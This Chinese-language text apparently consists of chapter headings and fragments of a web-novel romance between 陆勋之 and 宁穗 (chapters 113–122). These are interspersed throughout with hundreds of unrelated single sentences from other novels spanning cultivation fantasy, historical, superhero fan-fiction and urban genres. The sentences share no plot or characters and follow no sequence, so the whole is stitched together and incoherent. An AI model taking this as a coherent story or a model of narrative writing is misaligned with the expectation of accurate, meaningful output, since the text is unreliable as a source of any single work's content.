齐焕友是通了外朝,可是他去找孟忠却不是联络同党,而是向孟忠自首去的。 蒋燃空刚才光顾着赶回来了,竟没有看清洞口的情况,现在看来,那里已经是一片狼藉,地面上隐约可以看到鲜血的痕迹,明显是经过了一场恶斗。 恢复了神智的白精灵王,向来都是主和的,白精灵一族的传统,向来也是不喜欢战争的,白精灵王凯撒否决了精灵长老沃达维的提议。 “阿姨!”艾萌对着唐甜的妈妈叫了一声,唐甜妈妈让开身体,唐甜拉着他走了进去,艾萌把东西放在客厅的桌子上,唐甜的爸爸这时从房间里走了出来。艾萌又连忙叫了一声叔叔,唐甜的爸爸点点头,就让他坐下。 男子显然是吃了一惊,回头看了他一眼,转回身去,脑袋埋在膝盖上,继续哇哇大哭起来。 这东京城之中商业发达的很,连赵佶这货晚上睡在那个妃子的殿里,说了什么话,第二天说不定能传遍整个东京城去。 这个时候,其他的所有的那些部落族长们完全都看的呆傻了。那画面之中出现的一幕幕,都是他们梦想都没有梦想过的富利繁华。 这就和考研时问别人第一志愿是哪里,如果对方说出了一个非常高的目标时,自然而然也会觉得对方很厉害。 第113章 可别不中用啊 “思思?”陆勋之有些诧异,“你怎么在这?你不是应该在Y国?” 陆思思心里有些不舒服,陆勋之根本不知道她的去向。 而在昨天袭击事件之后,托尼和波茨就没有再在众人面前亮过相。因为托尼觉得,如果让人知道他们俩个并没有死,那么接下来迎来的很可能就是下一次的袭击了。 李丞婧先行下马,缰绳系在一棵树边。他们也跟着下马,只有邹宝儿好像还是意犹未尽的样子。 “我这段时间跟着公司销售总监去了一趟非洲,那边没有信号,今天早上刚回来。 两人认为自己只是趁着尹军精兵尽出的时候捡了个便宜,除此之外没有杀尹军一兵一卒,被他们这么吹捧实在心中有愧,敬了一圈之后,赶紧坐到陈醉他们的身旁。 “是这个!”在尼克·弗瑞之后,史蒂夫提着一把看着很概念话的武器进入了研究室。 乔光一边打一边暗中观察兰行君的神情变化,见他慢慢全副身心投入后,卖他个破绽,被他一拳得手,乔光往后飞去,果然兰行君紧随其后乘胜追击。 也就失去挑拨离间的意义了,而隐身诀,隐形的第三层只有达到先天龙腾级别才可以修炼。 叶子荣也坐了过去,一股宛如兰花般的清香顷刻间就钻进了他的鼻子,顿时让他觉得心旷神怡。 掌柜的头也不抬,手指微微震动,一串钥匙突然朝自己的眼睛弹过来。乔光眼神一凛,伸出两指夹住钥匙,指间受摩擦有种火辣辣的感觉。 韩博远没有回来,不过这在他们家是常态,韩博远在军区里忙,邓红英现在在医院里,是科室主任,平时也挺忙的。 凌景亦一身白衣飘飘地站在殿内,身姿优雅飘逸,一副谦和有礼,温润如玉的模样。 太初圣体吞服天地本源一曦,让他集体晶莹如玉,有太古开天之初的气息波动而出,与太初圣体交相辉映。 原本是研究点的地方已经彻底被岩浆摧毁了,金红色的河流直接冲垮了简易建筑,熔化成了岩浆。 如果不清楚其本质是只猿类魔兽,还隐藏着尾巴,正常人类见了,绝对又欲又贪。 周身圣体晶莹如玉,骨骼细密沉重如渊,圣心通透,逆乱道体朝向不可知之处蜕变。 尖喙劲是一种武道技巧,同样也是一种气血的特殊应用。可以说特殊劲力是武者的标志,同样也可以反过来说,武者的基础条件就是掌握特殊劲力,两者有前后之分。 除了上一届的大师兄之外,所有弟子都不是其对手。他和第三名之间的差距是一条巨大的鸿沟。真要算起来,前两名是一个档次的。 无数宇宙飞船突兀的出现,然后静默,一只戴着王冠的章鱼怪看着手中的星图,有些疑惑的问向旁边的神仙。 但又无迹可寻,绝大多数人尝试睡觉,睡是睡了但不做梦,做梦也不是抓光点的梦。 云锋则在一旁和田微微坐在一起,帮着看着学生们只要不太出格就行。 双方这般人马相撞,顿时个个眼神都是不善起来,众人都是元力悄然的涌动,气氛顿时之间便是变得剑拔弩张了起来。 第114章 陆勋之更害怕她突然不见 郑肖这回真的被吓到了。 他脸上变了几遍,开始郑重审视宁穗,“那你有什么办法?” 宁穗眼神示意他起开,郑肖微微挑眉,但还是起身让开了一点。 宁穗将将能起身,弯腿勉强坐起来。 “银鱼是波湖的特产,而波湖又是第一大淡水湖,全国基本无人不知。就着这个名头,如果我们把银鱼加工成这种味道的吃食,你说会不会有市场?”周甜道。 “同…老爷,这外头延平军已经开始架粥棚了。”一名男仆打扮的人回到客栈,踏踏的走上二楼。 “这样说也不是不可以,那我们岂不是又得搬家?”家里房子在才刚装修好不久,住的正舒服呢,他有些舍不得。 周甜和邵忆安坐在后面,今天杨志伟和卓志良都没跟来,他们去买土特产去了。 “儿臣有罪!还请父皇母后治罪。”李令月于殿前从容一跪,便是一脸诚挚地请罪。 或者说故意抛在了脑后,这差来的人见杜觉瞧也不瞧他就离开了,心中大为不满,直接跨进了大堂。 戚冉看着手机上的短信,有些无奈但是东西既然已经到了手上,她就不会再担心飞走,所以,戚冉放心地回房间里准备晚上的宴会。 宫姗看向姜宝青,她胸膛剧烈的起伏着,看得出她这会儿的精神状态十分不稳定。 见庞德这副反应,李静姝渐渐地意识到,事情并非她知道的那么简单。 不卑不亢,说话间又不轻不重的让人碰了个软钉子,是个难缠的主。 可他还是紧绷着脸,鼻尖贴上她的脸颊,然后沿着逐渐往下,轻嗅着她身上的气息。 秦风手掌一动,从系统空间内,将罗士信,张飞,赵云,霍去病,秦琼,张角等武将的升级卡牌取出。 富国渊丝毫没再给曹尚之任何机会,直接封死了话题,也表示了没再有话可以和他继续说,态度很明确。 “他刚刚是不是对你说什么了,你这是…在哭?”第一次想安慰人,段大总裁表现出了非常的生疏感,语气也非常不自然。 如果真是那种最坏的结果,她要对付林氏,几个大孙子都是林氏生的,没了老大在中间压着,几个孙子的心肯定是偏着林氏的。 噫!苏妍鸡皮疙瘩都起来了。别说她没答应秦屹,就算跟陈瑜在一起的时候,她也没这么称呼过他。 她这两天得了空闲,又研究起孔雀蓝来,这种蓝需要的就不是植物了,而是矿石了。 凌若这个举动也终于成功将宁清冉给激到了,她的脸冷了下来,看了眼地上自己那被凌若扔到地上的化妆品,缓缓站起身,终于直视上凌若,却嘲讽地笑了。 他记得有一次和好友去出任务,好友意外救了一个老婆婆,这老人当初也有几分神神道道,他本来是不信这些的,所以从未去深思过,现在被这个神秘的“大师”这么一说,突然不由自主的想起那个老婆婆身上的事情。 挂断电话,孟娴静捏着手机脸色泛白,秦屹真是一点都不上道,不对,他这么聪明的人,怎么会不明白她什么意思,压根就是拒绝她。 裴峥听到动静往后看了眼,就看到林曼曼没个正形地歪着,不知道她又出什么状况了。 第115章 验证一下,陆勋之对她的态度 宁穗本来打算一走了之,但是坐上车之后,一个念头突然涌上来。 陆勋之就这么害怕她再次离开吗? 或许,她该验证一下,陆勋之对她的态度。 于是她让唐桓去叫陆勋之。 十分钟后,陆勋之回到车上,身上换了一件衣服,但手背上的伤口清晰可见。 “不过是与你见个面罢了,何必搞出这么大的阵仗,刚刚被解除禁足的你,火气似乎有点大。”萧凡看着哈德斯轻笑道。 回到假山门口的时候,地下密室已经坍塌封死,漠漠一脸怅然若失表情的婷立在亭子里,白纱轻轻摇晃,看上去楚楚可怜。 站在上面顶着下面的这帮人,赵立总算是微微松了口气。这还真是危险,不过相对的,这种危险在现在看来也算不得什么危险了。毕竟不管怎么看这帮人手里的rpg还真伤不到自己。 之前,高渐飞被这几个家伙误认为是他们的师兄,高渐飞也警告过这4人,让他们不要随便杀人。但是,很明显,高渐飞的话,被他们当成了耳边风。 “让我好找。”李隐这时候已经到了一个收费站前,这里距离李隐为弥真安排的住所,已经很接近了。 五人组的其他四人听到动静也赶了过來,商博全和石临东拼命拉住他,以防他做出过分的举动。 四周围观的人,纷纷有些惊愕,没想到叶晨竟然如此嚣张,崔程心头一跳,看着叶晨微微皱起的眉头,知道他等的有些不耐,微一咬牙,便站到领头男子面前,眼眸发狠,扬起手掌,抽了下去。 仲恪言紧紧捏着手中的刀子,最近,住户们普遍都开始使用公寓中的刀子,因为这刀子绝对不会被破坏,使用起来很方便。用来杀鬼,实在是再合适不过了。 而今天路过香岩寺,好好的风水寺院莫名染上杂乱阴森,她虽然叹息感慨,但心态已经平和多了,没有让自己无谓的多烦恼,走过去之后就和游方开起了玩笑,初入千朵莲花山时紊乱不宁的心绪已经平复。 说到最后,在场的所有慕府高层都从开心的话语中体会到了那股熟悉的坚决和果断的信号。 不过要是被她知道萧云祁这家伙和方晨曦有一腿的话,可别怪她无情了。 这个时候,门来了,嫂子回来了,这个时候,魏晓东刚刚把鸡汤做好。 上官然、司徒醉还有南宫云一起看向了苏蔷薇,苏蔷薇的脸色……真是十分的精彩。 不过看着那手机屏幕上面显示的来电显示,却是忍不住嗤笑了一声,收回视线继续看着外面。 想明白这一点后,原本还高声欢呼的诸多归一剑宗弟子,再次消沉了下来,一个个再次将目光往问天剑台上的念无生望去。 风光的视线里多出一枝开的正好的紫薇花,她视线偏转,见到了不知何时而来的戚长安。 管宁疑惑的看着华,等待他来解惑――张涵是不会做亏本买卖的。 同是三月,青州也发生了一件大事。平原相岑涛开始清查平原的土地兼并。 说话间,星辰世界附近的大量星辰同时运作,浩瀚的星力如同阵阵惊涛骇浪,汹涌澎湃的冲击着与太极图合而为一的古青。 同时,张涵不断派遣轻骑,四处搜寻于夫罗的消息,准备伺机与之一战。 第116章 我想让谁留,谁就走不出这道门 陆勋之拿出碘伏棉签,倾身靠近,声音没什么起伏,“擦完药我就走。” 他靠得很近,说话间,气息喷在她的脸颊上,有些痒,宁穗咽了咽喉咙。 余光瞥着他的侧脸。 一只D级尸人的自爆威力起码可以炸死十名以上的普通士兵。以一换十,这如果单从数量上来算,反而是我们这边有利。 一切都顺理成章的进行着,唯一不好是天气,天阴森森的,大有山雨欲来,风满楼的样子。 见着恒彦林在这个时候,只是微微的眯了眯眼睛,随即却是没有一点的慌张的样子。 “明明钟玉涵也是这样叫你的,怎么也沒见你那么喜欢听。”徐佐言嘀咕道。 “你昏睡了这么久,给你找医生也说你的一切正常,但你就是不醒就给你输营养液了。”叶玄天指指桌子上的瓶瓶罐罐。 他的魅力明显比之前的男子来的更大,让更多的人为之侧目。只是那男子并没把这一切放在眼里,直直的走到了另一男子的身边。 我还想要继续战斗,但红狮一脚就把我踩在了地上。白鲨和黄鹰又分别遏住了我的双手,并从我的手上,夺走了血季与舞端。 三人骑着骆驼在漆黑的夜色中一路急行,待得星辉散尽东方鱼肚发白,已然走进了迷踪沙漠的腹地深处。 孔一娴知道是珊告诉妈的,也不怪她,给妈倒了杯茶之后,就安静地等待着她的数落。可孔妈妈只是说了一句话。 不过这些人沒有发现,一道金色的影子突然一闪而过,而且还向着远处奔跑过去。 乙元芕看中的,只是两人会来找大夫,若是没脑子或恨上弟弟,那就差了。 哭哭啼啼地说完这一番话,魏清婉慢吞吞地转过身去,以接近于龟速的速度缓慢地向前移动。 说到这里,苏无双叹息一声,顾玺刚想说话,萧哥直接打开了他们的车,坐在了后座位上。 她很简洁的向阿福讲了自己的近况,说自己一切都很好, 又问家里怎么样。 舞乐踏入下一个重拍,红色帷幕在鼓风机特效下飞扬涌动。卫时手臂蓦然用力,两人交错时卫时一个替举换位, 在被男人脊背挡住的镜头死角,巫瑾觉着自己几乎要被大佬摁到怀里。 有点银子,打算到时来看看。一年才几两银子,便是一月几两也不多。 迟早内敛了笑容,娇笑着横了他一眼,心想,你这样追星,也算是前无古人后无来者了。 刚走到店门口,玻璃门被推开,一个戴着鸭舌帽的男人撞了她一下。 他们之间经历的五年,安安康康第一次开口说话,第一次学会走路,第一次叫爸爸妈妈,那么多的第一次,很可能都是和南明煦一起度过的,让苏铭韩怎么能不在意。 毕竟,【命运双轮】的出现太过罕见,【异界之门】的召唤在这个世界更是没有先例。 秦天已经在孙倩影家住了好些天了,身体上的伤已经好的差不多了,自从那次旖旎事件之后,孙倩影也没有再给他按摩过。 薄唇轻柔的附上,他紧紧的抱着她,修长而浓密的睫毛湿润,却倔强的没有流下来。 当然了,大叔在讲解的过程中,免不了多次自夸他们的菜园,说这里的各种好处,说他们的菜如何好,又说他们的两位老板如何好,如何年轻有为、人品很正等等。 第117章 陆勋之不会吃我的醋 宁穗三人吃过饭,裴斯年回了酒店,打算明天回海城。 这些日子,他一直在御城待着,他需要回去再处理一下手里的事。 宁穗跟唐佳笑回了工作室,巡展马上要开始,她还要核对一下细节。 “怎么回事?怎么回事?”木系灵种觉察到有异,在陷入了混乱的识海里发出一连串惊呼。 确认灵宠没有生命危险后,百里芙蓉终于是让话题回到了她此行的目的之上。 说完,赵桓“砰!砰!砰!”磕了三个响头,等他抬起头时额头都已经开始流血了。 说着和白马王的相遇,说着和它的故事,把内心的痛苦用哭声发泄了出来。 也不请大长老带路,就憋着一口怨气,气冲冲的向偏殿静室走去,刚刚转到大殿之后,就听到一间房中传来一声惨叫,这惨叫声好不突兀,让人听得毛骨悚然。 走进定王府。上官一止、印江林、梁瑞三人先到偏厅喝茶食用糕点,他们虽然和梁薪关系亲密,但毕竟身份不同,还不适宜进入王府后院。 虽说他对五行星芒真的威力颇有信心,但百里东亭也绝不是什么手无缚鸡之力,浑身不设防的软柿子,相反,后者的手段层出不穷,攻防能力相当均衡且强大,无论从哪个方面来看都没有明显得缺点。 “放心吧,你安安心心地睡一下,睁开眼睛的时候我已经回来了。”梁薪笑着说道。 肺部已经没有了,刃魔张了张嘴,发现自己已经无法吼叫出声……身形摇晃了一下后,一声不吭的栽倒在地,口中带着最后一餐的余腥。 “消耗五十年寿命,发动神风术,可以支持一个月的时间,希望黄巾教能有所作为,不然就万事皆休。”合上了太平要术,张角念动咒语,只见密室的上空出现了青色的旋风,眨眼间消散在了上空。 “那他们那里去了?”狄老可不是好糊弄的,不然也不会被陆玉称作是老狐狸了。 黄日新点点头道:“如果你在保安队只是混口饭吃也就罢了,如果有作恶,这正是你赎罪的机会,千万别错过了。”说着,当场掏出十块银元递给了他。 “那是玉珍姐姐和赵雅姐姐!”周玉霜眼睛也很尖,在车里首先兴奋地娇呼了出来。 “没事,振英哥,我只是带着的妻子来给你见个面而已,接下来的时间我们还是要工作的,我让秀妍来,就是让她学习一下的。”赵梓翊很是无所谓的说道。 何武的内心升起一抹异样之感,说不清道不明的叫他难以判断,但时间总在流逝,他也不好耽误,当下便凝结出暗灵来侵入。 如今见到目的已达到,他自然不会再继续扰乱整个炼丹的比赛,这对他没什么好处。 这些物资中最重要的便是粮食。建设慢些可以忍受,如果吴安平控制了甘陕,却让百姓吃不饱肚子甚至饿死,那在他看来绝对是百死莫赎其咎。 但萨拉丁手下的将官们终究不都是圣人,不是每一次都能在圣雄的带领下,认认真真、兢兢业业、踏踏实实地完成命令的。 如果是普通的热武器的话,那么以他的天赋能力,还是丝毫不惧的,但是对于这些不胜了解的生化武器枪,他却是感到一种由衷的危险,那是足以威胁到自己生命安全的征兆。 第118章 陆勋之是在关心宁穗? 白玲以为吓到她了,得意冷笑,“今天我和宋姜的下场,就是你的明天。实话告诉你,你那份捐献名单,是我给宋姜的。你知道为什么明明有好几个合适的捐献者,最后只剩下方娟了吗?” 宁穗的心倏地揪起来,她冷眸睨着白玲。 这段时间的落差,已经将白玲逼疯了。 想到此,龚烁深吸一口气,将心头怒火压下,换上一副笑容,朝着叶城恭敬的一笑。 周仓用枪六年左右,加之专门前往五原求教赵云,赵云的枪法可是登峰造极。 而且张翠翠也想过了,赵汉亮既然现在这么信誓旦旦的说了不会说出去,那至少短时间内他是不会把自己和他想好的事情说出去的。 “二叔,二叔!”朝着冯昊寸跑过来口中喊着二叔的少年正是当日与冯胜一起传入‘三清教’的冯无忌,其今日精神十足,对于他这个年纪的孩子来说,眼前即将发生的一切都太刺激了。 对于陈晓静,秦奋还是相当的有好感,非常正义又正直的一个姑娘,秦奋怎么都不会让陈晓静去跟王权交涉的。 刘二富的孩子还没有满月,按着习俗,进去看新生宝宝,都是要拿见面礼的。 罗清月目光微闪,当初带着秦宇离开坠魔郡时,罗清月对秦宇的身份半信半疑,就连在七十二地煞之前,她心里还是没有全信,可经历了地煞挑战赛后,罗清月认为,秦宇是哭老人弟子无疑,而现在,越发肯定了。 听到这个消息,下面一片欢腾,口哨声,鼓掌,拍桌子的声音,此起彼伏,经久不息。 至于通天教主,虽然他很看好通天教主的性子,但是却对于通天教主的办事,有着一些不赞同,通天教主就是一根筋,可以为所为之人抛头颅洒热血的二愣子。 “既然大志都说了,那你答应便是。”见我目光望着他,爷爷随意道。 可怜的华金鑫还在忧虑是否对刘海下手时,身子已经重重地挨了刘海一拳。 刘海击毙一人,立刻就有一位须发皆白,颇有几分道风仙骨的武者,劝降着刘海。 赫拉取出自己的兵器,那是一柄跟宙斯手中差不多的法杖,随着赫拉法力的注入,璀璨的光芒从法杖中浮现。 现在,由墨无缺控制的十六块生命本源石板,力量集中到一起,挡在了救世神雷的前方。 裂口之内的声音终于不复之前的威严,显得异常慌乱,似乎完全没有想到会有这样的展开。 随着刘海眼珠中数字光芒闪过,他脑海中多了一套,如何运作世界树果实,也就是系统的方法。 接替洛哈特的位置推动剧情并不难,但意味他要花费更多的时间来安排和布局。 迹部景吾显然也知道,现在是公共场合,有些事情是不可能做得太明显的。 刹那间,此银色剑魂滴溜溜一转后,一分为二,二化为四,转眼间化作十六道明晃晃的银色剑光,并一个模糊的化为了一朵朵银色剑莲般。 而陈北寒,自然是对这恶魔犬了解甚多,知道,这样一只可怕的巨兽,就连封侯级的存在,都不肯招惹,它的实力,绝对是很可怕的。 这也是因为真仙神圣,无其血肉骨骼,几乎都是相应的故事信息凝聚而成,包含在自身的故事大纲之内。 回头等和康丰合作的基因改造药物顺利上市后,一定会财源广进。 “真的,比真金还真,这几套功法时我师尊他老人家专门给你们准备的,我修炼的和你们的不一样!”周进这样一说其他人反而松了口气,因为他们知道,最重要的功法肯定会传给亲传弟子的。 一位四方神佛的陨落,足矣让他们赶到头疼了,要知道四方神佛在那个地方,可是仅次于他们老大的存在,少了一个那都是难以弥补的损失。 宋志宏上位者的气势可不是装出来的,平时被人恭维惯了,说一不二,哪里被人这么阻拦过? 这瞬间的白昼,将所有在场的黑天教徒遭到了不同程度的重创。与此同时,正朝着谷雨等人赶来支援的数万黑甲熊男,也在这个过程中纷纷失去了意识。 “布莱克……不打扰了……”卡修斯挠挠后脑勺想了想,没别的了,然后轻轻俯下身,两片薄唇轻轻地贴在了他那有些发烫的额上。 事实上,即便先前陆未闻已经成为柳氏的“门生”,古依娜依然有理由可以告诉自己陆未闻这是在“委曲求全”,但是这些幻想都随着陆未闻今天的这番试探,渐渐烟消云散。 一些不知道这件事情的家伙对于这件事情也是一直处在一个不明白的阶段。 可既是如此,赤虎此刻的心仍旧是砰砰直跳。却是从他记事起,火刃部落都还从未遭受过这样的磨难。身为火刃部落的大族长,赤虎若说自己是一点都不紧张,那显然是假话。 第119章 投名状 陆勋之手撑在地上,即便嘴角瞬间出了血,气质在那摆着,矜贵非常。 甚至因为擦了一点伤,有点战损妆的意味。 谁都没想到乔镇会突然出手。 秦陌仔细观察了一下昆仑山上壮观的雪景,这才沿山路一直走到寒华剑派的正殿去拜见掌门。 听到暗器声,刀白凤挥鞭拦下了打头的第一支箭,刚想喊,衔尾而至的后两支箭蓦然而至,钉在了手臂上。 论证完飞船的几个重要技术难点之后,参加论证的技术人员就开始分组,按照各自的专业,对飞船的各个子系统进行论证。 他知道,这场比赛基本上是凶多吉少了,诸葛亮的发育实在太好了,对面只要抱团推塔,自己这边是没有什么作战能力的。 “很好,那你继续盯招标的进度,这个事情要按时间进度进行。”陆意叮嘱道。 当闻太师得知帝皇这三道圣旨内容后,心中无比失落。他深感被帝皇抛弃的滋味,自己已不再受宠。 “干的不错”何俊杰在和胡彬说道,然后从口袋里掏出一沓钱,数也没数就放到了胡彬的手里,然后嘴角邪恶的上翘一边,对胡彬说“你现在可以回去了,这里没有你什么事情了”。 但是却没有什么人想要夺下这块地盘,原因无他,实在是因为司隶的人口太少了。想要在司隶发展起来,必须要投入大量的人力物力还有时间。 跟秦陌预料中一样,副本门口人并不多,目前,整个电信一区西江月服务器到40级的玩家不超过百人。 等晚上的时候,李有为还顺便在夜总会开了个包房,带刘丽进去好好潇洒一番。 “你是说白天我们看到的是你体内的她,晚上的是你本人?你体内的到底是谁?”萧炎问。 “吼……”两大巨物碰撞在一起,惊天动地。白无常跟枭鹏那边激烈的战斗都停顿几秒钟观看萧炎这边的变故。 昨日,难怪码头军警林立,难怪母亲和哥哥神色异常,裕军竟要和时志邦谈判? 只是她马上就要与乐恒清结婚了。逸林这一走。只怕对乐恒清不仅是损失。今后也有诸多掣肘。更重要的是。司徒萧只是要逸林回去呢。还是要她和李逸林和李夫人全家都回去。 时间看似过得很慢,然而不过是一眨眼之间,十二月初一,就到了。 她看着满场的歌舞,满桌的佳肴,却是满心的烦闷,总觉得有什么堵在心头,眼角轻掠猛然见皇上正斜斜靠在座椅上,手里玩转着一个玲珑的碧玉杯,眼也不眨的看向她这里。 待他走后,夏海桐便立刻发了一条短信给叶承轩,发完短信后,她就把两个行李箱里的东西都拿出来。 一个时辰之后,十头尊级的魔王,全部被郭临这些人,以这种可耻,近乎赖皮的方式搞定。 虽然沒有撞在宋端午的伤口之上,但也是扯得宋端午一阵呲牙咧嘴。 看众人没有其他异议,王鸥艺当即宣布散会,等人都走干净后,再次拨出了那个熟悉的号码。 “你叫我怎么相信你!除了你谁都做不到这种事!!”林艾将牙咬得咯吱作响,她丝毫不怀疑N2出现在自己面前自己会扑上去狠狠地咬她一口。 第120章 老死不相往来 宁穗不知道他又在发什么疯。 她今天也很烦,根本没心情哄他。 可是想到他今天挨了一顿揍,万一心情不好,再对她发神经。 想想还是算了。 在逃走之前,她不想惹怒陆勋之。 给自己找麻烦。 然后,在一众围观人诧异的目光下,我和南瓜加上饭馆的老板一起,就把大胡子道士和白面道士都弄上了越野车。 骆子峰一路走着,这座山有点秃,植被并不是很多。这座山让他觉得有些古怪,明明看上去不高,为什么自己走了那么久? 顾问先生话音仆落,地精执董格林和狼人侍从官赛克斯的眼睛都是一亮,格林是兴奋中带着不可思议,而赛克斯则是不可思议中带着不可思议。 国王和百官都在称颂道人,三藏法师有些坐不住,觉得羞愧和尴尬。 “可是暗域充满死气,不管怎样的修为,千万年来无人能进,清风他有仙灵天宫的无限生命宝石尚且命丧暗域。以你的修为,如何能在暗域全身而退?”三长老天枢问。 卢嫣然的确是一直都倍受万千宠爱,不管是母亲还是府中上下,甚至包括师兄师弟们,无不把她当作掌上明珠一样。 植入身份为李世民长子!叮,系统检测到李泌携带人物其子李繁出世。 就在那凶兽准备给君玲再来一脚的时候,一道紫影从远方飞了过来。 这些客户们,可以说是非常兴奋,十分兴奋,无比激昂,心情开心不得了。 进得水帘洞内,太白金星看到孙悟空,心中更是一声赞叹:好精神,好威势。 黑红的吞噬之气,瞬间如开闸的洪水,崩塌的山岳,就要压下四方。 云舒心神巨震,抬眸看着同十伤伞遥遥对峙的“血弥鼎”,皱了皱眉。 其实哪怕是一般的高中生上到第四节课的时候,经过前三节老师们的一番狂轰乱炸之后,精神都比较疲惫了,而且临近中午,很多人的早餐在此时已经基本消化殆尽,饥肠辘辘之余哪里还能将注意力集中在课堂上呢。 “父尊,也请你……离开。”被痛苦折磨的暴躁却又虚弱的百里衍,终于露出了一点无力。 林修的嘲讽从厨房传了出来,让国师先生老脸一红,也不知道是羞的还是怒的。 佐鸣和柳州低头,他们第一次知道,宋姑娘挤兑起人来,功力也非常的深厚。 林瑟瑟望着一床的礼服叹气,她雍肿的身材,一件也穿不了呀。宝宝们,妈妈为了你们,真是收获了太多的——脂肪。 这时候,神奈天头上已经印下了一团巨大的阴影,他挑了挑眉毛,抬头一看,正好和犀犬的视线对上。 如今那个炼药师带着诚意,带着自己的妻子来向他道歉,他却要杀了那个炼药师。 “那我以后去内围你可要罩着我。”司马幽月也不矫情,顺杆往上爬。 拉斯蓬卿的机身上,几百道伤痕隐隐作痛,根本无法再移动,他只能架起大剑,举过头顶,试图抵挡一下。 黑风钻进钻出,不断的寻找着,但是阵法闪烁光芒,将之阻挡在外。 我们也没着急回去,随便找个了饭馆,准备吃点饭。由于我们之前回了一趟东关镇,这次晚上来找李正阳,就我和宇城飞两人。 第121章 你为什么要这么对我 男人没有说话,垂在身侧手指痉挛一般蜷起,手背上的青筋狰狞可怖。 宁穗没得到任何答案,揪起的心又松开,毫不意外,可她刚才还是暗暗有一点期待,声音暗淡下去,甚至带了一丝苦涩,“你觉得这样有意思吗?” 陆勋之哑然出声,“有意思,我只要每天看见你,就觉得有意思。” 宁穗的心荡到谷底。 炎国民众内心祈祷,希望许临多少给力一点,不要让灾难降临在炎国头上。 卿鸿回到亭中的时候,早已没有刚刚热闹的场景,还留在亭中的也不过只有沐府的丫鬟而已,众府的家眷早已满心欢喜的离去了。 火熙皱了皱眉头,他虽然不想管这等俗事,可流云国毕竟也是他们的附属国,打了秦天傲的脸他们的面子也不会有光。 变种人马力全开时的奔跑速度是令人咋舌的,当然耗费的体力也惊人。地道是沿直线挖掘,总共的路程一般限定在半分钟之内,这是为了配合江岚的能力。 每一次在空中飞舞,每一次激烈的战斗,都让索菲亚和许临之间的默契,更加深厚。 荆棘妖萨罗娜抬起那长满尖刺的手臂,一把抓住胡克·霍根,将其拖到跟前。 这武器还是他最开始在随机房获得的,E级白色品质,有总比没有强。 于是,下一秒,“唰唰唰唰”四道蓝白剑光闪过后,地面又多了四具尸体。 江岚突然只觉得心头火气,莫名的一股怒意席上心头。她死死地盯着茱莉,握紧了拳头。 例如兔人族的【动若脱兔】,跟实力层次挂钩,随着自身变强而晋升更高级别。 而且一旦弑君彼天下人,被未来的皇帝知道,这大宋的天肯定要变了。大宋也会重新变成要命的朝代。 “你们的命运早已注定了。”鹭回巨嘴继续裂开,淡漠俯瞰,几如苍天看待万物的冷漠,无情,只有毁灭与死亡。 而见到徐无忧的那一刻,青霄立时惊呼道,从他的反应,不难看出他是认识徐无忧的。 搁在从前,便是崛起于微末,升腾于恒沙,她是原始星门公认第一人,晋升虚洞可以引动宇宙异象的天才。 第一根,第二根,第三根骨刺从年轻和尚头顶的戒疤内冲出,鲜血顺着年轻和尚的脸颊流下。和尚的脸上却露出了愈发慈祥的微笑。 现在面对人造的恒星,就没有这种顾虑。既没有恐怖的引力,也没有复杂的耀的活动,点亮熄灭都在自己的控制中,可以最大程度的规避风险提升实力。 当然,这不怪李方诚没有想到,毕竟从这样公司层面的角度,确实不如很多公司那么多门道。 但像凌昊这样实力堪比神境、或者跟神境有接触的,却都再清楚不过了。 此时听蓝曦月这么一说,这些大宗弟子冥冥之间仿佛找到了一个发泄口,许多情绪蓄势待发,就好似一个即将被引爆的火山一般。 三名华夏国公民在武装冲突中被打死,这种事情其实怎么也轮不到古驰背黑锅。可是这一次,就在某些人的运作下,这黑锅生生甩给了古驰。 拿出菜来,申秋准备开始准备洗菜,顺便理理自己这半截虫子的问题。 伍秋月脸上露出悲戚之色,轻轻自语道:“大飞……”。众妖身体皆是轻轻的颤抖着,似乎极为害怕。 轰的一声,剑芒直接把那座四米高的,石亭给切成两半,向两面倒去,地面一震,溅起了无数的灰尘。 第122章 做一个告别吧 陆勋之清晰看到,宁穗跟别人聊天的状态,和看到自己时的表情,截然不同。 他心口像是被扎了一个窟窿,空荡荡的,呼呼漏风。 一股无名火窜上来,可是脑海里却同时冒出医生的话。 宁穗现在有抑郁的倾向。 此时的刘云长一时感慨着为何上天不佑展老头好人长命之外,也终于明白了自己的命运终于和宋端午联系在了一起。 所以,景川侯只当这父子俩是印象稍微深些的路人甲,也是人之常情啦。 突然间一片雪花落在了宋端午的脸颊上,继而纷纷扰扰的雪片都在脸上蔓延开來,宋端午情不自禁的闭上了眼睛,不去管,任由雪花在脸上渐渐化成了雪水,继而成了水珠顺着脸庞缓缓流下。 说着就帮她拎起了袋子,往附近一家装潢精美的饭店走去。方幼姗只得按压心底的疑惑,笑容甜甜挽着他的手臂进去了。 秦凤仪听她这口吻就来气,“唉哟,听你说的这么云淡风清,当初想必也知道大皇子对陛下下手之事吧?我忖度一下,你俩不会是一伙的吧?”刺了裴太后一下。 叶楚笑了笑,可不是撞鬼了吗?章心莉心虚,才会认为是晓梅的鬼魂找她复仇了。 她说李斯琴和叶雪莹最近都一直轮流看守着叶承轩,万一刚才她们在的话夏海桐的身份就暴露了。 “好,既然我接下了这个任务,我就帮你彻底的完成吧!”萧炎苦笑着说道,他也发现自己已经处于对方的包围之中,但是他已经答应了凌水月,所以他不可能退缩。 看得出來‘黑无常’周亚夫确实不是刚來上海那个‘萌系壮汉’周亚夫了!对此宋端午感到很欣慰,同时自然也十分感谢白潇湘的调-教。 这次是耿千户,不对,如今已经升了指挥使,来薛府找薛庭儴有事。 未知的才是最可怕的,一位古代怪胎,由神秘金属诞生灵性的存在,居然在几息之内,悄无声息的变成鬼魂一样的灵体,这是何等伟力? 这里位于东北方向的边荒,距离姜国不知多少万里,但是按照顾天雪如今的御剑飞行速度,要不了几天,就能回到姜国。 侯勇倒也不傻,这个赌局只要是个正常人就知道他赢定了,九天显然也是个正常人,那他为什么还愿意跟他赌?必然是心里有所依仗。 “师兄你怎么……”孙晓樱差点脱口而出的说道,不过马上又掩住自己的嘴了。 掌心间,一团光芒璀璨,犹若稀世宝珠,氤氲迷离,让人移不开眼睛。 “没用的,你的火鸾之力就算再强十倍,也伤害不了我分毫。”萧羿目光变得淡漠无比,对萧媛儿冷冷说道。 乔剑通就没有名老那么客气,对着叶正风怒吼一声,狂暴的劲力直接把叶正风轰出房间。 雷声震耳,响彻云霄,仅仅是秦川的一声大喝所形成的气浪就滚滚而来,挡住了数位高手的冲击。 看到张一兴这才反应过来,成始源和郑秀晶两人非常不讲义气,同时乐了起来。 不过若是让这两老人知道当年在镇魔宗的时候,便有两个仅在寂灭境的时候便能发出这种与气势截然不同的势,一定会千方百计把他们吸收到道院当中。 